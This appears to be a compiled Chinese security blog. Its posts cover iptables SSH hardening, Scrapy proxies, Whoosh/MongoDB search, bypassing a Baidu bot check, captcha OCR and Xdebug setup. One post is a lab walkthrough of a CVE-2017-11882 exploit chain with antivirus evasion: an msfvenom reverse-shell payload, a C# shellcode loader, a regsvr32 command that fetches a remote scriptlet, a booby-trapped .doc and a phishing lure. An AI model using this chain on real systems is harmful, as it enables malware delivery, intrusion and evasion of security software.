“黑塔”-一款专注于网络安全的垂直搜索引擎

关于

  这个项目,项目地址,暂且称为“黑塔”,愿景是能够成为网络安全中的一座灯塔,为寻路的人提供方向。它是一款专注于网络安全垂直搜索引擎

  一开始想到这个项目的初衷是锻炼自己的开发能力,以及方便自己需要的时候查找资料。但在后来,作者发现网上还没有一款专注于网络安全的垂直搜索引擎,遂萌发自己打造一款引擎。也许有人会觉得百度、Google等主流搜索引擎那么强大,哪还需要自己专门开发一款垂直搜索引擎,但事实上并非如此,这里不是说它们不够强大,而是从另一个角度思考问题,Google等搜索引擎包罗万象,体积庞大,很多时候无法收录全面,并且更新存在比较大的延迟,这对信息新鲜度要求极高的网安领域来说是一个缺陷,加之很多大佬的优质博客根本没有做所谓的SEO优化,导致即使被搜索引擎收录,其排名也比较低下,用户需要特别注意才能发觉。

  而作为垂直搜索引擎,它拥有短小精悍更新速度快信息来源准确的特点,它能够给用户提供新鲜准确原创的信息,这就是垂直搜索引擎存在的意义。

  “黑塔”的收录信息主要来源于网络安全领域各大佬的博客安全论坛等专业、可信的信息源,所以,在这里,你能得到更加准确新鲜的信息,要知道,在网安领域,一个漏洞EXP晚一小时到你手里所产生的影响都是不同的。“黑塔”的另一个特点就是对新手朋友帮助较大,刚入门或还在入门阶段的人可以把“黑塔”作为增加知识储备的手段,这里有着各网安大佬的原创文章、实战记录,潜心阅读并加以复现对提高自己的技术水平是很有帮助的。

  目前,“黑塔”的开发工作仍在继续,不管它是否能受到用户欢迎,也不管它的用户量能有多大,作者都将继续完善、丰富它,以此作为作者增加开发经验、学习网安技术的手段。如果你有好的建议、想法或者本站的漏洞,也欢迎联系我,我相信你能找到我的联系方式。

  最后,希望大家能在光怪陆离包罗万象的“黑客世界”中找到属于自己的路,也希望“黑塔”能在你成长的过程中给予你帮助,在这个充满黑、白、灰的世界中,坚持初心不越雷池,才能方得始终

通过iptables配置加强服务器安全

绪言

  VPS在公网上使用得越来越多,如何提高自己的服务器安全也变得重要起来,特别是脚本横飞的时代,如果不对服务器加以修饰,每天lastb的记录都能增加很多。而且对外提供越多的服务意味着暴露的缺陷就越多,所以掌握iptables的基本使用中解决很多问题。

主动模式

1
iptables -A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT

  首先对自己主动发送的请求进行响应的报文放行,这里尤其注意是对自己已发送的报文进行响应,如果是其他客户端发送过来的请求连接这里不做处理,使用默认的或后续的匹配策略处理。
因为在iptables看来每个协议都有建立连接的概念,包括“udp”、“icmp”。state支持的状态有:NEW、ESTABLISHED、RELATED、INVALID、UNTRACKED。

  • NEW:就是双方进行通信时第一个到来的报文;
  • ESTABLISHED:state把NEW以后到来的报文都定义为ESTABLISHED状态,包括UDP等,所以说state是有类似于tcp三次握手建立连接的概念;
  • RELATED:在一个服务中,可能开启了两个进程,而且这两个进程都需要跟服务器进行通信,例如FTP有两个通信链路,命令链路和传输数据的链路,这两个链路就是存在关系的,所以他们属于RELATED状态;
  • INVALID:表示一个包不能被识别;
  • UNTRACKED:表示报文不能被追踪;

为SSH加固

1
iptables -A INPUT -p icmp --icmp-type 8 -m length --length 128 -m recent --set --name SSH --rsource -j ACCEPT

  length模块用于匹配报文长度,这里我们用ping报文的长度来充当芝麻开门的作用,recent模块功能很强,能将匹配到的报文信息记录下来,给后续规则做条件使用。它的几个参数为:

  • —name: 给用来记录报文的列表起名称;(这里应该是两个-)
  • —set: 表示将匹配到的报文记录下来;
  • —rsource: 表示记录源IP地址;

  这条指令的意思是:将ping报文长度为128的源IP地址记录到叫SSH的列表中去。这里需要注意的是ping报文头部长度就有28字节,所以实际的填充报文为:128-28=100。所以在Linux下使用ping -s 100 ip;在Windows下使用ping -l 100 ip来敲开服务器大门。

  相关的icmp报文的类型如下(因为ssh客户端是ping的请求方(发起方),所以这里要匹配类型为8的报文):

类型代码 类型描述
0 响应应答(ECHO-REPLY)
3 不可到达
4 源抑制
5 重定向
8 响应请求(ECHO-REQUEST)
11 超时
12 参数失灵
13 时间戳请求
14 时间戳应答
15 信息请求(*已作废)
16 信息应答(*已作废)
17 地址掩码请求
18 地址掩码应答
1
iptables -A INPUT -p tcp --dport 8888 -m state --state NEW -m recent --rcheck --seconds 20 --name SSH --rsource -j ACCEPT

  8888是ssh修改后的端口号,这里之所以匹配NEW状态是因为后面我们需要对INPUT使用白名单策略,而NEW之后的状态在前面已经放行,所以这里需要对NEW状态进行放行。这里再对recent的两个参数进行说明:

  • —rcheck: 检查源IP是否在列表中,以第一个匹配开始计算时间
  • —seconds: 记录的源IP地址的有效时间

  所以这一整句话是说对NEW(新建)状态下请求8888端口的源IP进行检查,看这个IP是否在名叫SSH的列表之中,有效时间是20秒,这里的有效时间是指上一条规则记录下源IP的时间离用户请求SSH服务器的时间间隔。所以用户必须在ping完的20秒内连接客户端,否则连接失败,重新ping。

PS: 如果是私有的git服务器的话,也同样适用这套规则,登陆或clone、push前都需要进行特殊的操作,这就能很好的保护数据和服务器的安全问题。不要以为这是弱智的问题,,这两天逛tools的时候就有人的git服务器被人攻破。。。

将INPUT策略改成白名单模式

  白名单是只接受自己信任的来源,而对非信任区来源采用拒绝策略;黑名单则只拒绝自己不信任的来源,接受信任或目的不明确的来源。所以采用白名单的策略系统的安全性较高,而黑名单难免会有疏忽。

  要使用白名单,只需将INPUT的默认策略从ACCEPT改成DROP。可以使用iptables -P DROP,但如果一不小心清空了ACCEPT的规则,那么服务器将按照默认drop的策略拒绝所有的连接,导致服务器失联。所以我们使用另一种较为安全的策略:

1
iptables -A INPUT -j DROP

  我们在INPUT链的最后一条上加上DROP规则,这样即使我们不小心iptables -F INPUT清除掉INPUT规则也不用担心服务器失联。

  值得一提的是,由于采用了DROP策略,所以ping只接收长度为100的报文,也就是说正常的ping是不会被服务器接收的,这就提供了保护主机的安全的方法,相当于把主机从公网中隐藏起来,只有知道口令的人才能找得到。

保存iptables配置

  笔者主机为:Ubuntu 16.04,首先安装:

1
2
apt install iptables-persistent
apt install netfilter-persistent # ubuntu 14.04可以不用

  保存:

1
netfilter-persistent save

  在/etc/rc.local中添加开机时自动执行恢复操作:

1
netfilter-persistent reload

后言

  这里只是简单的在INPUT中加固了ssh连接,但对其他类似web的服务没有讲解,但这并不是说iptables对这些服务没有办法,相反,iptables能很好的加强系统安全。比如有些服务不想暴露给外部直接访问,只允许本地处理。这时我们就能使用类似于这样的规则:

1
iptables -I INPUT ! -s 127.0.0.1 -j DROP

  通过配置iptables还可以在有限程度上防止CC攻击DDOS等攻击,它可用的一些模块还有:

  • string: 可以匹配链路中出现的特定字符;
  • time: 对链路的时间规则;
  • limit: 对IP的并发限制;

这在后续博文中可能有所涉及。

解决Scrapy爬虫卡(停)顿问题

介绍

  最近在做爬虫的时候经常遇到爬虫卡顿(停顿)的情况,让人很是苦恼,稍不注意就进程就卡住,在搜索了方法后,最后采用自动代理切换+超时下载件的方法解决。

编写自动代理中间件

  在项目的middlewares.py中新建一个自动代理中间件的类,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
class MyproxyMiddleware(object):
"""docstring for ProxyMiddleWare"""

def process_request(self, request, spider):
'''对request对象加上proxy'''
# proxy = self.get_random_proxy()
haha = random.randint(0,10)
if haha >= 5:
print('\n随机{}正在使用代理\n'.format(haha))
proxy = 'http://127.0.0.1:8087'
request.meta['proxy'] = proxy

def process_response(self, request, response, spider):
'''对返回的response处理'''
# 如果返回的response状态不是200,重新生成当前request对象
if response.status != 200:
proxy = 'http://127.0.0.1:8087'
# print("this is response ip:" + proxy)
# 对当前reque加上代理
request.meta['proxy'] = proxy
return request
return response

def process_exception(self, request, exception, spider):
# 出现异常时(超时)使用代理
print("\n出现异常,正在使用代理重试....\n")
proxy = 'http://127.0.0.1:8087'
request.meta['proxy'] = proxy
return request

  process_request()方法是发起请求时调用的,所以如果你希望一开始请求就使用代理就可在这里写上代理地址,这个函数可以返回三个值:Nonerequestresponse
如果是返回None,说明不对请求头做任何处理;如果返回request,则按照用户定制的请求头请求网页,如果我们要使用代理则需返回request,不写明写返回也是返回request;response表示不再使用其他下载中间件,直接返回响应结果。

  这里我使用随机的方法使用代理,毕竟代理流量也是有限度的。我使用的是XX-NET免费代理,它的主要用途是被国人拿来扶墙的,它提供自动IP切换服务,可以很好的为爬虫服务。另一种免费躲避IP限制的方法是使用tor,不过在国内的话需要先科学上网。

  process_exception()是对爬虫请求是出现的异常情况进行处理的方法,它会捕捉超时、503等异常,当我们出现卡顿或停顿时很有可能就是超时,所以我们要编写这个函数。当返回request时,爬虫会重新使用使用代理进行请求,我们需要的就是这个功能。

添加下载中间件

  将上面的中间件添加到setting.py中,

1
2
3
4
5
DOWNLOADER_MIDDLEWARES = {
'scrapy_first.middlewares.MyproxyMiddleware':200,
'scrapy_first.middlewares.RandomUserAgent':158,
'scrapy.downloadermiddlewares.downloadtimeout.DownloadTimeoutMiddleware':500,
}

  scrapy.downloadermiddlewares.downloadtimeout.DownloadTimeoutMiddleware这个中间件可以定义超时时间,配合DOWNLOAD_TIMEOUT = 200使用。这也是防止爬虫停顿的方法。另一个跟这个功能差不多的是:scrapy.contrib.downloadermiddleware.retry.RetryMiddleware,有需要的也可以添加进去,它会把超时或者 HTTP 500 错误导致失败的页面记录下来,当爬虫爬取完正常的页面后再统一重新请求这些异常也页面。它有三个属性:

  • RETRY_ENABLED
  • RETRY_TIMES
  • RETRY_HTTP_CODES

  各自的属性:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
RETRY_ENABLED

新版功能。

默认: True

Retry Middleware 是否启用。

RETRY_TIMES

默认:2

包括第一次下载,最多的重试次数

RETRY_HTTP_CODES

默认: [500, 502, 503, 504, 400, 408]

重试的 response 返回值(code)。其他错误(DNS 查找问题、连接失败及其他)则一定会进行重试。

  通过合理配置这些下载中间件就能很好的避免爬虫卡死的情况。

Whoosh使用及为Mongodb建立索引

介绍

  由于作者的项目中需要为数据库建立索引以便以搜索,经过考察后还是决定使用Whoosh+MongoDB的方案。所以这篇文章是介绍怎样使用whoosh为mongodb建立索引,网上关于这方面的文章还是相对比较少的,所以有必要记录一下。

  whoosh是原生唯一的python写的全文搜索引擎,虽然说whoosh性能不一定比得上lucene,sphinx,xapian等,但由于是基于python,所以扩展性极好,非常容易集成到django或其他框架中,而且whoosh运行消耗的资源也比lucene等引擎少,加之作者的服务器性能较弱,数据量也还不大,就选择了whoosh作为搜索引擎

架构方案

  作者使用的方案是:使用jieba为需要索引的whoosh的字段进行中文分词,搜索时,whoosh只返回_id字段的值,然后在mongodb中查找。当然,这个whoosh也可以把所有的字段都储存起来,这样就可以直接返回搜索结果,而省去在mongodb上查找的时间,但由此引发的一个问题就是索引文件过大,是空间利用问题,而且这样做就把whoosh当成了数据库角色。所以作者放弃了这一方案。

建立索引

  这里不介绍whoosh,mongodb的安装方法,请自行搜索。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from whoosh.fields import Schema, TEXT, ID, DATETIME
from jieba.analyse import ChineseAnalyzer
from whoosh.index import create_in, open_dir
import jieba
jieba.load_userdict("dict.txt")

analyzer = ChineseAnalyzer()

schema = Schema(
nid=ID(unique=True, stored=True),
url=ID(unique=True, stored=False),
date=DATETIME(unique=False, stored=False, sortable=True),
title=TEXT(stored=False, analyzer=analyzer),
content=TEXT(stored=False, analyzer=analyzer)
)

if not os.path.exists('D:/pythonCode/whoosh/index/'):
os.mkdir("D:/pythonCode/whoosh/index/")
create_in("D:/pythonCode/whoosh/index/", schema) # 创建索引文件,需指定Schema

ix = open_dir("D:/pythonCode/whoosh/index/") #打开索引文件

  因为whoosh是python实现的,所以很方便的就能跟结巴结合。而结巴允许的用户自定义字典,这对专业领域的分词很有帮助,我们只需要在dict.txt中存放专业名词就行。

  索引首先需要定义Schemastored代表是否存储这个字段的值,sortable为是否可以排序,这里因为是时间,所以我选择True,analyzer分词器,这里我们使用结巴中文分词器。这里再啰嗦几句,ID的值为不可分割,所以适合url、id等一类不用分割查找的项;DATETIME为时间,不用解释;这里的TEXT才是我们需要分词、建立索引的项目。

  PPS:按照whoosh官方文档,对于简单的字段即使没有指定排序,但仍可以排序,只是结果可能不是那么完美。还有一种情况就是:如果你已经创建了Schema,并且写入数据,但是你想为某个字段排序,那么你可以使用:

1
2
3
4
5
6
7
from whoosh import sorting
from whoosh.index import open_dir

ix = open_dir("D:/pythonCode/whoosh/index/")

with ix.writer() as w:
sorting.add_sortable(w, "date", sorting.FieldFacet("date"))

索引数据

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from whoosh.index import create_in, open_dir

client = pymongo.MongoClient("xxx")
db = client['xxx']
collections = db['xxx']

ix = open_dir("D:/pythonCode/whoosh/index/") #打开索引文件
_id = collections.insert(dict(item))

with ix.writer() as writer:
writer.update_document(
nid=_id.__str__(),
url=item['url'],
title=item['title'],
date=datetime.strptime(item['date'], '%Y-%m-%d'), # 字符串化成时间格式
content=item['index_content']
)

  在需要建立索引的地方使用如上代码。这里注意的一点是,mongodb插入数据返回的是ObjectId,如ObjectId(“5a2e2652c0bae92df4dd2372”),而whoosh不支持存储ObjectId类型,所以我们需要的是括号里面的字符串,所以需要使用_id.__str__()提取。

搜索

  搜索代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from whoosh.index import create_in, open_dir
from whoosh.qparser import MultifieldParser, QueryParser
from whoosh import scoring, sorting
from bson.objectid import ObjectId

client = pymongo.MongoClient("xxx")
db = client['xxx']
collections = db['xxx']

ix = open_dir("D:/pythonCode/whoosh/index/") #打开索引文件
with ix.searcher() as searcher:
query = MultifieldParser(["title", "content"], ix.schema).parse("xss")
#query = QueryParser("content", ix.schema).parse("xss")

# 排序
mf = sorting.MultiFacet()
mf.add_field("date", reverse=True)
results = searcher.search(query, limit=10, sortedby=mf)
print(len(results))

for one in results:
_id = ObjectId(one['nid']) # 将字符串构造成 ObjectId
res = collections.find({'_id':_id})[0]
print(res['date'] + res['title'])
print('-----------------------\n')
count += 1

  MultifieldParser是搜索多个field,也就是多个字段,而QueryParser只能搜索一个字段。sorting.MultiFacet()是whoosh中实现排序的一种方法,reverse=True是反向排序,这里实现的是时间降序。searcher.search(sortedby=mf)指定排序方式。其实whoosh里提供多种排序方法,功能还挺全面。

  这里提供了mongodb如何使用_id查找的方法。

  如果需要将_id中的值提取出来,则使用:

1
2
_id = collections.insert(dict(item))
nid=_id.__str__()

  如果需要使用字符串查找,则使用:

1
2
3
4
from bson.objectid import ObjectId

_id = ObjectId(one['nid']) # 将字符串构造成 ObjectId
res = collections.find({'_id':_id})[0]

  完整的事例可查看此页面

一种爬虫绕过百度云加速检测的方法

介绍

  最近在做爬虫的时候遇到了百度云加速的浏览器安全检查,经过搜索后得到一种解决方法,现记录。

正文

  遇到的检测网页是类似:xxx.com浏览器安全检查中…,如下:



  这个网页检测的方法是让浏览器执行一段JS代码,将执行结果作为表单的值,跟其他隐藏值一起提交。这个网页的类似代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74

<!DOCTYPE HTML>
<html lang="en-US">
<head>
<meta charset="UTF-8" />
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<meta http-equiv="X-UA-Compatible" content="IE=Edge,chrome=1" />
<meta name="robots" content="noindex, nofollow" />
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1" />
<title>安全检查中...</title>
<style type="text/css">
html, body {width: 100%; height: 100%; margin: 0; padding: 0;}
body {background-color: #ffffff; font-family: Helvetica, Arial, sans-serif; font-size: 100%;}
h1 {font-size: 1.5em; color: #404040; text-align: center;}
p {font-size: 1em; color: #404040; text-align: center; margin: 10px 0 0 0;}
#spinner {margin: 0 auto 30px auto; display: block;}
.attribution {margin-top: 20px;}
</style>

<script type="text/javascript">
//<![CDATA[
(function(){
var a = function() {try{return !!window.addEventListener} catch(e) {return !1} },
b = function(b, c) {a() ? document.addEventListener("DOMContentLoaded", b, c) : document.attachEvent("onreadystatechange", b)};
b(function(){
var a = document.getElementById('yjs-content');a.style.display = 'block';
setTimeout(function(){
var s,t,o,p,b,r,e,a,k,i,n,g,f, rmFZnZw={"zIAsbP":+((+!![]+[])+(+[]))};
t = document.createElement('div');
t.innerHTML="<a href='/'>x</a>";
t = t.firstChild.href;r = t.match(/https?:\/\//)[0];
t = t.substr(r.length); t = t.substr(0,t.length-1);
a = document.getElementById('jschl-answer');
f = document.getElementById('challenge-form');
;rmFZnZw.zIAsbP+=+((!+[]+!![]+!![]+[])+(!+[]+!![]+!![]+!![]));rmFZnZw.zIAsbP*=+((+!![]+[])+(!+[]+!![]+!![]+!![]+!![]+!![]+!![]+!![]));rmFZnZw.zIAsbP*=+((+!![]+[])+(+!![]));rmFZnZw.zIAsbP+=+((!+[]+!![]+[])+(!+[]+!![]+!![]+!![]+!![]+!![]));rmFZnZw.zIAsbP+=+((!+[]+!![]+!![]+[])+(!+[]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]));rmFZnZw.zIAsbP-=+((!+[]+!![]+!![]+[])+(+!![]));rmFZnZw.zIAsbP+=+((!+[]+!![]+!![]+[])+(+!![]));rmFZnZw.zIAsbP+=+((!+[]+!![]+[])+(+!![]));rmFZnZw.zIAsbP-=+((!+[]+!![]+!![]+!![]+[])+(+[]));rmFZnZw.zIAsbP*=+((!+[]+!![]+!![]+!![]+[])+(!+[]+!![]+!![]+!![]+!![]+!![]));a.value = parseInt(rmFZnZw.zIAsbP, 10) + t.length; '; 121'
f.submit();
}, 4000);
}, false);
})();
//]]>
</script>


</head>
<body>
<table width="100%" height="100%" cellpadding="20">
<tr>
<td align="center" valign="middle">
<div class="yjs-browser-verification yjs-im-under-attack">
<noscript><h1 data-translate="turn_on_js" style="color:#bd2426;">请打开浏览器的javascript,然后刷新浏览器</h1></noscript>
<div id="yjs-content" style="display:none">
<div>
<div class="bubbles"></div>
<div class="bubbles"></div>
<div class="bubbles"></div>
</div>
<h1>webbaozi.com <span data-translate="checking_browser">浏览器安全检查中...</span></h1>
<p data-translate="process_is_automatic"></p>
<p data-translate="allow_5_secs">还剩 5 秒&hellip;</p>
</div>
<form id="challenge-form" action="/cdn-cgi/l/chk_jschl" method="get">
<input type="hidden" name="jschl_vc" value="3e6d314d3209433cc8d475dce0d7f73a"/>
<input type="hidden" name="pass" value="1512703287.646-mblyHaO5bp"/>
<input type="hidden" id="jschl-answer" name="jschl_answer"/>
</form>
</div>


<div class="attribution"><a href="http://su.baidu.com/" target="_blank" style="font-size: 12px;"></a></div>
</td>
</tr>
</table>
</body>
</html>

  其中一个解决办法就是用python将这段JS代码执行后得到jschl-answer的值,然后构造get请求提交,从而获得cookies。但是笔者在用requests处理的时候发现,就算将结果运行出来后,使用requests.get()的时候还是会重定向到检测页面,没有办法验证通过。一个可能的原因是requests并不会记录会话,当你提交结果的时候,检测系统会把你当作第一次访问,而不会认为你已经访问过一次,现在是提交结果。这是requests的工作方式。所以只能另想办法。

  我们需要能像浏览器一样能自动解析JS代码的爬虫库,而selenium,这个自动化测试工具就能实现这个目标。所以一个有效的解决方案就是使用selenium,接下来就用代码解释:

1
2
3
4
5
6
7
8
from selenium import webdriver

browser = webdriver.PhantomJS()
host = 'http://www.xxxx.com'
browser.get(host)
sleep(7) #这里注意需要睡眠5s以上,因为检测页面需要5s左右的时间通过,通过后才能获得真正的网页。
soup = BeautifulSoup(browser.page_source,'lxml')
# 下面就可以做你需要的工作了

关于python运行JavaScript

  这里顺带记录如何在python下运行JavaScript。代码:

1
2
3
4
5
6
7
8
9
10
11
import execjs
fct = """
function test(){
var a = 10;
var b = 20;
return a+b;
}
"""
ej = execjs.compile(fct)
value = ej.call("test") # 调用JS函数并取得返回值
print(value)

Selenium下自动识别验证码登陆

介绍

 在自动化或者爬虫登陆网站时经常遇到验证码模块,这也算是反爬的一种手段。这篇文章将介绍如何在selenium框架下自动识别验证码登陆。

一:安装Tesseract-ocr

 Tesseract-ocr是文字识别系统,能识别英文、数字,如果需要识别汉字,则需要导入汉字语言包。

  • 在Windows下安装

      下载地址:Tesseract-ocr,这里可以选择版本,本机中选择4.0.0版。下载后默认安装,这里可以选择修改原安装路径,但修改后在后续进行环境变量的配置时记得更改。
      安装完毕后,配置系统环境变量。在Path一项中新增Tesseract-ocr的安装路径。


  接着在系统变量中新建如下系统变量,告诉Tesseract-ocr数据集的位置。



  然后验证是否安装成功。



  • 在Linux下安装

      直接执行:apt install tesseract-ocr。

二:python脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30

from selenium import webdriver
from PIL import Image

browser = webdriver.Chrome()

host = "https://www.baidu.com"
browser.get(host)
# 获取整个网页的截图
browser.save_screenshot("temp.png")
# 获取元素位置
element = browser.find_element_by_css_selector("img")
location = element.location
size = element.size
# # 计算出元素位置图像坐标
img = Image.open("temp.png")
left = location['x'] + 145
top = location['y'] + 90
right = location['x'] + size['width'] + 155
bottom = location['y'] + size['height'] + 100
img = img.crop((int(left), int(top), int(right), int(bottom)))
img.save('screenshot.png') # 是否保存图像

log = os.system('tesseract screenshot.png png -l eng')
keyword = open('png.txt', 'r').readline().rstrip('\n')
rex = re.compile(r'\D')
if re.search(rex, keyword) != None:
print('错误的验证码:' + keyword)
else:
print('keyword is ' + keyword)

 代码说明:selenium自带有截图功能,如果是选择非PhantomJS作为浏览器的话,当使用browser.save_screenshot("temp.png")时截的只是当前浏览器窗口显示的图片而不是整个网页,但使用PhantomJS时,截取的是整个网页
 selenium也可以选择区域或网页元素进行截图,不过需要PIL辅助,先从网页中获取该元素的位置,然后使用PIL Image里的crop截取。这里需要注意,如果使用例如Chrome等浏览器而非PhantomJS的话,会因为浏览器弹出的位置不同,导致无法准确的截到该元素的位置,需要自己反复调节,但使用PhantomJS时不会有这个问题。

 可以注意到,我这里是使用系统调用的方法进行识别,但有另一种方法是安装pyocr。直接执行pip install pyocr即可。由于作者不熟悉,加之有急需,故不再演示,只提出方法。

Office CVE-2017-11882实战免杀

放在前面

 这里真的要感谢@余弦懒人在思考的公众号里发过的关于MSF免杀payload的推文,正是看着这篇文章,再联想到最近火热的office cve-2017-11882,才成功的构造了绕过电脑管家和360免杀的利用脚本。因为云服务器处于生产环境,并对外提供正经服务,所以只能以局域网环境“实战”

介绍

 因为关于office 11882的复现及利用都是使用mshta,这个利用方法已经被各杀软重点关注了,所以被拦截的概率会很大,上一篇复现时,连电脑管家都拦截提示了!!所以一个免杀的方法就是使用别的利用工具,而弦哥的这个推文刚好被我从公众号里搜索到,其实很多时候,我们虽然在众里寻他千百度,但很多人却没有“蓦然回首”。关注了这个漏洞的利用脚本的人都知道关键点是可注入的字符越长越好,方便利用,如果要换利用方式的话,替换注入字符就行,而这篇文章也是利用了这一点。

目录

一:生成payload

 使用msfvenom生成C#的payload

1
msfvenom  -p windows/meterpreter/reverse_https -a x86 -f csharp --platform windows -o https.csharp -b "\x00\xff" LHOST=192.168.1.231 LPORT=443 PrependMigrate=true PrependMigrateProc=svchost.exe

 虽然在弦哥的推文中说不用解释选线意义,但出于学习,我还是记录一下:
参数说明:-p:选择载荷模块;-a:系统架构(几位);-f:生成文件的格式;-b:设定规避字符集; PrependMigrate 和 PrependMigrateProc是指明 Payload 执行后要将自己注入到一个新创建的宿主 svchost.exe 进程中去。

二:创建C#工程文件

 这里我使用vs2015,我这里.Net Framework本来是没有2.0的,是自己装的,vs2013就有。创建的新项目如下图:



 将如下代码黏贴覆盖到 Program.cs 中:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
using System;
using System.Threading;
using System.Runtime.InteropServices;
namespace MSFWrapper
{
public class Program
{
public Program()
{
RunMSF();
}
public static void RunMSF()
{
byte[] MsfPayload = {
//Paste your Payload here
};
IntPtr returnAddr = VirtualAlloc((IntPtr)0, (uint)Math.Max(MsfPayload.Length, 0x1000), 0x3000, 0x40);
Marshal.Copy(MsfPayload, 0, returnAddr, MsfPayload.Length);
CreateThread((IntPtr)0, 0, returnAddr, (IntPtr)0, 0, (IntPtr)0);
Thread.Sleep(2000);
}
public static void Main()
{
}
[DllImport("kernel32.dll")]
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
}
}

 然后将先前生成的 Payload 的黏贴到代码中注释为“//Paste your Payload here”的地方。这里注意只需要复制那些0x开头的字符,而不需要整个复制下来粘贴。保存代码后,修改该工程的属性,将输出类型改为“Windows 应用程序”,启动对象改为“MSFWrapper.Program”, 然后保存。如下图:



 在Release 版中添加对X86的支持,然后编译出来,可以得到一个(项目名.exe)



三:将生成的exe转换成js

 这里我们使用DotNetToJScript ,这是一款可以将 .net 程序转换为 jscript 代码的工具,下载地址:DotNetToJScript。下载好后进入项目文件夹,运行下面的命令:

1
E:\tools\DotNetToJScript>DotNetToJScript.exe -l=JScript -o=MSFWrapper.js -c=MSFWrapper.Program 86.exe

 这里的86.exe是上面编译生成的文件。运行后可以得到MSFWrapper.js,接下来我们用msf开始监听,这里不细说,直接贴图:



然后我们就可以用下面的命令执行我们的 MSF Payload:

1
C:\windows\SysWOW64\cscript.exe MSFWrapper.js



运行后,电脑管家跟360跟啥事都没发生过一样。。。。而我们已经Get Shell了



 到了这里,我们已经可以基本确定弦哥的方法是可行的了。因为要跟office 结合起来,所以我们还需要继续。

四:结合web server

 本地bypass是不够的,我们需要结合web server扩大影响。既然能够转换为 js 代码,那么我们自然会想到 sct。我们将转换后的 js 代码黏贴到下面代码中的“//paste code here”:

1
2
3
4
5
6
7
8
9
10
<?XML version="1.0"?>
<scriptlet>
<registration
progid="Msf"
classid="{F0001111-0000-0000-0000-0000FEEDACDC}" >
<script language="JScript">
//paste code here
</script>
</registration>
</scriptlet>

 保存为 msf.sct(后缀名可以更改,比如 jpg 等),这里注意,第一行一定要放在文件的第一行(第一行不能为空或其他),不然会出错,然后上传至 Web Server。

五:office上场

 我们需要注入:

1
regsvr32 /s /u /n /i:http://192.168.1.231/msf.sct c:\windows\SysWOW64\scrobj.dll



 才80个字节,现在的exp已经支持109字节了,所以,我们可以顺利的注入进去。这里我使用https://github.com/Ridter/CVE-2017-11882。命令如下:

1
root@Kali:~/hackhub/CVE-2017-11882# python Command109b_CVE-2017-11882.py -c "regsvr32 /s /u /n /i:http://192.168.1.231/msf.sct c:\windows\SysWOW64\scrobj.dll" -o hello.doc

 这里需要注意我们使用109b的脚本,不要使用43B的。

 PS:最厉害的exp已经支持605字节,已经很厉害了!!附上
项目地址 。这样一来姿势又多了。

 把生成的文件发送给靶机,并打开该doc。








可以看到,我们又接收到一个shell,而且注意到电脑管家是全程静默的,没有任何提示及报毒。

 接下来,我关掉电脑管家,启用360.。



 可见360的预防效果还是强于电脑管家,但如果用户点击允许运行的话,360也不能阻止恶意的网络连接,最终还是能get shell的。



 这里再安利一下卡巴斯基,老毛子的杀软,像这样的文件,老毛子会告诉你什么是残酷,我把文件从虚拟机复制出来。



能活过1秒算我输。。。。

六:关于钓鱼



 这模板是不是很有诱惑~ 哈哈

 画风就变成这样:同学同学,我的实验报告写完了,你要。。。不。。。要。。。借鉴一下??(手动给个滑稽)

Linux Xampp安装配置Xdebug

介绍

Xdebug是一个开源的PHP程序调试工具,可以使用它来调试、跟踪及分析程序运行状态,XAMPP(Apache+MySQL+PHP+PERL)是一个功能强大的建站集成软件包,很多PHP初学者都会使用XAMPP+Xdebug的组合。下面介绍怎样在Linux xmapp下安装xdebug。

Step 1:安装Xdebug

 前往xdebug官网下载相应的版本,如果不知道下载什么版本,可通过官网上自动判断程序。只需新建一个php文件,内容如下:

1
2
3
<?php
phpinfo();
?>

在浏览器中访问并把整个网页的源代码复制下来,提交到如下链接中








点击判断。即可得到适合的版本。

Step 2:解压、安装文件

解压文件:

1
2
# tar –xzvf xdebug-2.5.4.tgz
# cd xdebug-2.5.4/

安装前检索,执行phpize,这里由于每个人的路径不一,建议使用find命令查找执行。

1
# find / -name phpize

得到路径后执行,如:

1
# /opt/lampp/bin/phpize

执行时如遇如下错误需要安装autoconf解决。




1
# apt-get install autoconf


安装完成后,重新执行
1
# /opt/lampp/bin/phpize




可见成功运行。

安装

1
2
# ./configure –enable-xdebug –with-php-config=/opt/lampp/bin/php-config
# make


按提示执行

1
# make  test



接下来安装xdebug

1
#make install



成功安装.

Step 3:配置php.ini

 首先找到php.ini文件,如果不知道位置可通过find找到。在xampp下是/opt/lampp/etc/php.ini


 然后将xdebug.so路径添加进配置文件,不知道路径同样使用find查找。Xampp下是在 /opt/xdebug-2.5.4/modules/xdebug.so。在文尾添加:


zend_extension=” /opt/xdebug-2.5.4/modules/xdebug.so”

再将如下配置添加到末尾:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
;显示错误信息
xdebug.default_enable = 1
;函数调试
xdebug.auto_trace=on
xdebug.trace_output_dir
xdebug.trace_output_name
;Type: string, Default value: trace.%c
; (参数长度,参数值,参数=值)
xdebug.collect_params = 1|3|4
; 显示内存
xdebug.show_mem_delta=1
显示返回值
xdebug.collect_return=1
; 追加日志
xdebug.trace_options =1
xdebug.collect_params=1
